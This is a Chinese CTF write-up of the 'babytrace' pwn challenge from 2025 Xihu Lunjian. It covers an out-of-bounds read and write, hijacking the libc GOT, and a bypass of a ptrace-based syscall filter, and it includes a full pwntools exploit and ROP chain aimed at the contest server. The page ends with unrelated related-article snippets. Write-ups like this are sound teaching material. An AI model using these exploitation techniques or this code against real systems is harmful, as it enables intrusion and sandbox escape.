2025西湖论剑-babytrace
前言
就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下
漏洞分析
子进程中的读/写功能没有检查负数的情况,存在越界读写:
void __fastcall get_value(__int64 *int64_arr)
{__int64 ll; // [rsp+18h] [rbp-8h]if ( dword_202018 > 1 ){puts("permission denied!");}else{puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);printf("num[%lld] = %lld\n", ll, int64_arr[ll]);++dword_202018;}
}void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL);puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}
所以这里存在两次越界读和一次越界写,这里的写只能写一次,因为 dword_202010 是在被写之后赋值为 0 的,所以无法通过修改 dword_202008 去实现无限次越界读,但是两次也足够了。
利用越界读泄漏 libc 和 stack
劫持程序执行流执行rop
泄漏了 libc 和 stack 后,接下来就是思考如何通过一次越界写实现执行流的劫持,可以看到越界写函数 set_value 中会先读 512 字节到栈上:
void __fastcall set_value(__int64 *int64_arr)
{__int64 ll; // [rsp+10h] [rbp-220h]char buf[520]; // [rsp+20h] [rbp-210h] BYREFunsigned __int64 v3; // [rsp+228h] [rbp-8h]v3 = __readfsqword(0x28u);if ( dword_202010 == 1 ){puts("recv:");read(0, buf, 0x200uLL); // 读取 512 字节puts("which one?");ll = get_ll();if ( ll > 2 ) // 负数没检查exit(1);puts("set value?");int64_arr[ll] = get_ll();puts("Set up for success!");dword_202010 = 0;}else{puts("permission denied!");}
}
所以很明显这里可以把 rop 链放在 buf 上,然后想办法把栈迁移过去。这里的 buf 的地址为低地址,并且只有 8 字节写的机会,所以很难直接把栈抬上去,我没有找到合适的 sub rsp, xxx; ret,栈迁移也不好做,所以这里我歇菜了
这里我们需要把栈抬上去,其他佬找到了方法,直接说结果吧,修改 libc.got,因为后面会调用 puts 函数,其会调用到 libc 中的 __strlen_evex.got,而在执行 puts 时,栈就被抬上去了,所以我们修改 __strlen_evex.got 为一个 add rsp xxx; ret 就有机会执行 rop 了,而 add rsp, xxx; ret 还是比 sub rsp, xxx; ret 好找的
绕过 ptrace 对系统调用的过滤
可以执行 rop 后,接下来就是考虑如何绕过父进程中的 ptrace 对 syscall 系统调用号的检查:
ptrace(PTRACE_SETOPTIONS, pid, 0LL, 1LL);do{ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");if ( (status & 0x7F) == 0 || status == 127 && (status & 0xFF00) >> 8 == 11 )break;if ( ptrace(PTRACE_GETREGS, pid, 0LL, ®s) < 0 )error("GETREGS error");if ( regs.orig_rax != 1 && regs.orig_rax != 231 && regs.orig_rax != 5 && regs.orig_rax != 60 ){if ( regs.orig_rax ){printf("bad syscall: %llu\n", regs.orig_rax);regs.orig_rax = -1LL;if ( ptrace(PTRACE_SETREGS, pid, 0LL, ®s) < 0 )error("SETREGS error");}}ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");}while ( (status & 0x7F) != 0 && (status != 127 || (status & 0xFF00) >> 8 != 11) );
这里的实现存在漏洞,我代码也注释了,这段代码主要就是两个 PTRACE_SYSCALL+waitpid,其本意为:
# 子进程进入系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check# 子进程退出系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");
但是这里 waitpid 捕获信号后,没有区分是否是由于系统调用触发的,所以在 rop 中我们可以先通过某些 gadget 发出一个信号,此时被第一个 waitpid 捕获,后面在执行系统调用时,检查的逻辑就成了:
# 子进程进入系统调用时触发某个信号,此时 waitpid 捕获ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 捕获退出系统调用if ( waitpid(pid, &status, 0x40000000) < 0 )error("waitpid error3");# 子进程退出系统调用前触发某个信号,此时 waitpid 捕获,然后检查系统调用号ptrace(PTRACE_SYSCALL, pid, 0LL, 0LL); // 进入系统调用时,检查系统调用号if ( waitpid(pid, &status, 0x40000000) < 0 )// 这里子进程触发的信号不一定是由进入/退出系统调用发出的error("waitpid error2");check
所以这里就成功绕过了检查,最后的 exp 如下:
直接执行
system可能会出现问题,因为system中可能会发出某些信号,导致上述检查逻辑顺序再次被转换回来
from pwn import *
from ctypes import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = remote("119.45.238.17", 9999)
#io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd = lambda s : io.send(s)
sda = lambda s, n : io.sendafter(s, n)
sl = lambda s : io.sendline(s)
sla = lambda s, n : io.sendlineafter(s, n)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
rut = lambda s : io.recvuntil(s, drop=True)
ruf = lambda s : io.recvuntil(s, drop=False)
addr4 = lambda n : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8 = lambda n : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s : u32(io.recvuntil(s, drop=True, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s : u64(io.recvuntil(s, drop=True, timeout=1).ljust(8, b'\x00'))
byte = lambda n : str(n).encode()
info = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh = lambda : io.interactive()
"""
gef> p &(((struct _IO_FILE_plus*)0)->file._wide_data)
$3 = (struct _IO_wide_data **) 0xa0gef> p &(((struct _IO_FILE_plus*)0)->vtable)
$4 = (const struct _IO_jump_t **) 0xd8"""
dll = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x39)
dll.rand()menu = b'choose one >'def set_val(data, idx, val):sla(menu, b'1')sla(b'recv:\n', data)sla(b"which one?\n", byte(idx))sla(b"set value?\n", byte(val))def get_val(idx):sla(menu, b'2')sla(b"which one?\n", byte(idx))#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
#gdb.attach(io, 'set follow-fork-mode child; b *$rebase(0xd6d)')
get_val(-2) # <_IO_2_1_stderr_>
rut(b'] = ')
libc_base = int(rut(b'\n'), 10) - libc.sym._IO_2_1_stderr_
info("libc_base", libc_base)#pause()
libc.address = libc_base
pop_rax = libc_base + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libc_base + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002be51 # pop rsi ; ret
pop_rdx = libc_base + 0x00000000000796a2 # pop rdx ; ret
retf = libc_base + 0x0000000000029551 # retf
syscall = libc.sym.syscall + 27
int_0x80 = libc_base + 0x00000000000f2ec2 # int 0x80
pop_rbx = libc_base + 0x0000000000035dd1 # pop rbx ; re
pop_rcx = libc_base + 0x000000000003d1ee # pop rcx ; ret
ret = libc_base + 0x0000000000029139 # ret
int1_ret = libc_base + 0x000000000009cd15 # int1 ; xor eax, eax ; ret"""
get_val(-3) # elf_base+0xe48
rut(b'] = ')
elf_base = int(rut(b'\n'), 10) - 0xe48
info("elf_base", elf_base)
"""
get_val(-4)
rut(b'] = ')
stack = int(rut(b'\n'), 10) - 0x20
info("stack", stack)rop = p64(int1_ret)
rop += p64(pop_rdi)+p64(stack+208-0x230)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(syscall)
rop += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(0)+p64(syscall)
rop += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(stack+0x400)+p64(pop_rdx)+p64(0x40)+p64(pop_rax)+p64(1)+p64(syscall)
rop += b'flag\x00\x00'
print(len(rop))
#gdb.attach(io, 'b *'+str(libc_base+0x0000000000114b5c))
set_val(rop, (libc_base+0x219098-stack)//8, libc_base+0x0000000000114b5c)"""
- nc 119.45.238.17 9999
- nc 119.45.238.17 19999
- nc 119.45.238.17 29999
- nc 119.45.238.17 39999
- nc 119.45.238.17 49999
"""
#pause()
sh()
远程效果如下:

后记
让 gpt 写一个正确使用 PTRACE_SYSCALL 的代码:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/reg.h> // 定义寄存器偏移量
#include <sys/user.h> // 定义 user_regs_structint main(int argc, char *argv[]) {if (argc < 2) {fprintf(stderr, "Usage: %s <program>\n", argv[0]);exit(1);}pid_t child = fork();if (child == 0) {// 子进程:执行目标程序ptrace(PTRACE_TRACEME, 0, NULL, NULL);execl(argv[1], argv[1], NULL);} else {// 父进程:跟踪目标进程int status;struct user_regs_struct regs;waitpid(child, &status, 0); // 等待子进程停止ptrace(PTRACE_SETOPTIONS, child, 0, PTRACE_O_TRACESYSGOOD);while (1) {// 继续执行,直到下一个系统调用事件ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 进入系统调用ptrace(PTRACE_GETREGS, child, 0, ®s);printf("Entered syscall: %lld\n", regs.orig_rax);// 继续执行,直到系统调用退出ptrace(PTRACE_SYSCALL, child, 0, 0);waitpid(child, &status, 0);if (WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80)) {// 退出系统调用ptrace(PTRACE_GETREGS, child, 0, ®s);printf("Exited syscall: %lld, return value: %lld\n", regs.orig_rax, regs.rax);}}if (WIFEXITED(status)) {// 目标进程退出printf("Child process exited\n");break;}}}return 0;
}
可以看到这里使用 WIFSTOPPED(status) && WSTOPSIG(status) == (SIGTRAP | 0x80) 去过滤由系统调用产生的 SIGTRAP 信号,注意这里要配合 PTRACE_O_TRACESYSGOOD,其会将系统调用产生的 SIGTRAP 信号与上 0x80,就是用来区分其他事件产生的 SIGTRAP 信号
相关文章:
2025西湖论剑-babytrace
前言 就做了下题目,pwn1/3 都是签到,pwn2 后面绕 ptrace 有点意思,简单记录一下 漏洞分析 子进程中的读/写功能没有检查负数的情况,存在越界读写: void __fastcall get_value(__int64 *int64_arr) {__int64 ll; //…...
绘图专用,26个常见流程图符号及其解释
关注作者 当您设计网站、构建应用程序或绘制业务系统时,您需要一种方法来清晰地绘制步骤和用户流程。虽然您可以使用流程图来概述这些过程,但箭头和方框只能帮助您到目前为止。为了清楚地表达您的意思,您需要流程图符号。 为了帮助解释每个流…...
【个人学习记录】软件开发生命周期(SDLC)是什么?
软件开发生命周期(Software Development Life Cycle,SDLC)是一个用于规划、创建、测试和部署信息系统的结构化过程。它包含以下主要阶段: 需求分析(Requirements Analysis) 收集并分析用户需求定义系统目标…...
自学SpringBoot笔记
概念 什么是SpringBoot? Spring Boot 是基于 Spring Framework 的一款开源框架,主要用于简化 Spring 应用程序的开发。它通过提供一系列的 开箱即用的功能 和 自动配置,让开发者可以快速构建生产级别的独立应用程序,而无需手动配…...
03JavaWeb——Ajax-Vue-Element(项目实战)
1 Ajax 1.1 Ajax介绍 1.1.1 Ajax概述 我们前端页面中的数据,如下图所示的表格中的学生信息,应该来自于后台,那么我们的后台和前端是互不影响的2个程序,那么我们前端应该如何从后台获取数据呢?因为是2个程序…...
[leetcode](找到vector中的特定元素并删除)无重复字符的最长子串
一.找到vector中的特定元素并删除 #include <iostream> #include <vector> #include <algorithm> int main() { // 示例 vector std::vector<int> vec {1, 2, 3, 4, 5, 6}; // 要删除的元素 int aim 3; // 查找元素 auto it std::fin…...
Mockito+PowerMock+Junit单元测试
一、单元测试用途 1、日常开发团队要求规范,需要对开发需求代码进行单元测试并要求行覆盖率达到要求,DevOps流水线也会开设相关门禁阀值阻断代码提交,一般新增代码行覆盖率80%左右。 二、Mock测试介绍 1、Mock是为了解决不同的单元之间由于…...
Ncat: bind to :::7777: Address already in use报错问题解决
问题描述 Ncat: bind to :::7777: Address already in use. QUITTING. 具体解决方法 If you are in linux environment try, Use netstat -tulpn to display the processeskill -9 <pid> This will terminate the process If you are using windows, Use netstat -…...
Docker 搭建mysql 连接超时问题,xxl-job启动mysql连接报错,禁用dns
1.本地连接Navicat报错信息,猜测是navicat默认连接超时导致的,后面换成idea一个插件虽然慢但连接上了 2013 - Lost connection to MySQL server at reading initial communication packet 2.启动xxl-job会报错,网上有人mysql驱动与数据库不匹…...
在线图片像素颜色拾取工具
在线图片像素颜色拾取工具,非常方便的一个工具,无需登录,用完就走。 包括中文和英文版本。 https://getcolor.openai2025.com...
Qt之登录界面(splash)
在上一篇多文档窗口设计(MDI)的基础上增加了一个登录界面(splash). 该模块可以扩展为常规的软件登录界面。 界面展示如下 如果用户名和密码输入正确,则调到MDI界面,如果用户名和密码一共输入三次以上,则程序强制退出…...
NotebookLM:Google 最新 AI 笔记助理解析与实战应用
NotebookLM:Google 最新 AI 笔记助理解析与实战应用 在 AI 驱动的生产力工具不断进化的今天,Google 推出的 NotebookLM(Notebook Language Model)成为了一款备受关注的智能笔记助理。它结合了 Google 的大语言模型(LL…...
软路由系统iStoreOS 一键安装 docker compose
一键安装命令 大家好!今天我来分享一个快速安装 docker-compose 的方法。以下是我常用的命令,当前版本是 V2.32.4。如果你需要最新版本,可以查看获取docker compose最新版本号 部分,获取最新版本号后替换命令中的版本号即可。 w…...
vue3本地文件下载
开发记录: vue3本地下载文件要把文件放到public下,如果放在src里面可能会出现这个问题...
纯代码实现给WordPress添加文章复制功能
在给wordpress添加内容时,有时会遇到文章复制的功能,但是wordpress又没有这个功能。把下面一段代码添加到functions.php文件中,就可以实现这个功能。 /** Function for post duplication. Dups appear as drafts. User is redirected to the…...
Redis 中 TTL 的基本知识与禁用缓存键的实现策略(Java)
目录 前言1. 基本知识2. Java代码 前言 🤟 找工作,来万码优才:👉 #小程序://万码优才/r6rqmzDaXpYkJZF 单纯学习Redis可以看我前言的Java基本知识路线!! 对于Java的基本知识推荐阅读: java框架…...
【PyQt】图像处理系统
[toc]pyqt实现图像处理系统 图像处理系统 1.创建阴影去除ui文件 2.阴影去除代码 1.创建阴影去除ui文件 UI文件效果图: 1.1QT Desiger设置组件 1.两个Pushbutton按钮 2.两个label来显示图像 3.Text Browser来显示输出信息 1.2布局的设置 1.先不使用任何La…...
Ruby语言的循环实现
Ruby语言的循环实现深入探讨 在程序设计中,循环是一种常见的控制结构,用于重复执行某些代码块。不同的编程语言提供了不同类型的循环结构,以满足不同的需求。Ruby是一种灵活且易于使用的编程语言,其循环实现方式独具一格…...
javaEE安全开发 SQL预编译 Filter过滤器 Listener 监听器 访问控制
前言 java开发和其他开发的不同并且更安全就是因为他拥有简单的预编译机制 filter 过滤器 和 listener 监听器 这个很重要 就是 web应用监听器和过滤器是在 Servlet 之前的并且 我们的请求和响应都需要经过 两者的同意才可以通过 缺一不可 、 Listener 安全方面 监听器…...
一体机cell服务器更换内存步骤
一体机cell服务器更换内存步骤: #1、确认grdidisk状态 cellcli -e list griddisk attribute name,asmmodestatus,asmdeactivationoutcome #2、offline griddisk cellcli -e alter griddisk all inactive #3、确认全部offline后进行关机操作 shutdown -h now #4、开…...
超短脉冲激光自聚焦效应
前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应,这是一种非线性光学现象,主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场,对材料产生非线性响应,可能…...
stm32G473的flash模式是单bank还是双bank?
今天突然有人stm32G473的flash模式是单bank还是双bank?由于时间太久,我真忘记了。搜搜发现,还真有人和我一样。见下面的链接:https://shequ.stmicroelectronics.cn/forum.php?modviewthread&tid644563 根据STM32G4系列参考手…...
PL0语法,分析器实现!
简介 PL/0 是一种简单的编程语言,通常用于教学编译原理。它的语法结构清晰,功能包括常量定义、变量声明、过程(子程序)定义以及基本的控制结构(如条件语句和循环语句)。 PL/0 语法规范 PL/0 是一种教学用的小型编程语言,由 Niklaus Wirth 设计,用于展示编译原理的核…...
Xen Server服务器释放磁盘空间
disk.sh #!/bin/bashcd /run/sr-mount/e54f0646-ae11-0457-b64f-eba4673b824c # 全部虚拟机物理磁盘文件存储 a$(ls -l | awk {print $NF} | cut -d. -f1) # 使用中的虚拟机物理磁盘文件 b$(xe vm-disk-list --multiple | grep uuid | awk {print $NF})printf "%s\n"…...
LangFlow技术架构分析
🔧 LangFlow 的可视化技术栈 前端节点编辑器 底层框架:基于 (一个现代化的 React 节点绘图库) 功能: 拖拽式构建 LangGraph 状态机 实时连线定义节点依赖关系 可视化调试循环和分支逻辑 与 LangGraph 的深…...
永磁同步电机无速度算法--基于卡尔曼滤波器的滑模观测器
一、原理介绍 传统滑模观测器采用如下结构: 传统SMO中LPF会带来相位延迟和幅值衰减,并且需要额外的相位补偿。 采用扩展卡尔曼滤波器代替常用低通滤波器(LPF),可以去除高次谐波,并且不用相位补偿就可以获得一个误差较小的转子位…...
抽象类和接口(全)
一、抽象类 1.概念:如果⼀个类中没有包含⾜够的信息来描绘⼀个具体的对象,这样的类就是抽象类。 像是没有实际⼯作的⽅法,我们可以把它设计成⼀个抽象⽅法,包含抽象⽅法的类我们称为抽象类。 2.语法 在Java中,⼀个类如果被 abs…...
Python 训练营打卡 Day 47
注意力热力图可视化 在day 46代码的基础上,对比不同卷积层热力图可视化的结果 import torch import torch.nn as nn import torch.optim as optim from torchvision import datasets, transforms from torch.utils.data import DataLoader import matplotlib.pypl…...
嵌入式学习之系统编程(九)OSI模型、TCP/IP模型、UDP协议网络相关编程(6.3)
目录 一、网络编程--OSI模型 二、网络编程--TCP/IP模型 三、网络接口 四、UDP网络相关编程及主要函数 编辑编辑 UDP的特征 socke函数 bind函数 recvfrom函数(接收函数) sendto函数(发送函数) 五、网络编程之 UDP 用…...
全面解析数据库:从基础概念到前沿应用
在数字化时代,数据已成为企业和社会发展的核心资产,而数据库作为存储、管理和处理数据的关键工具,在各个领域发挥着举足轻重的作用。从电商平台的商品信息管理,到社交网络的用户数据存储,再到金融行业的交易记录处理&a…...
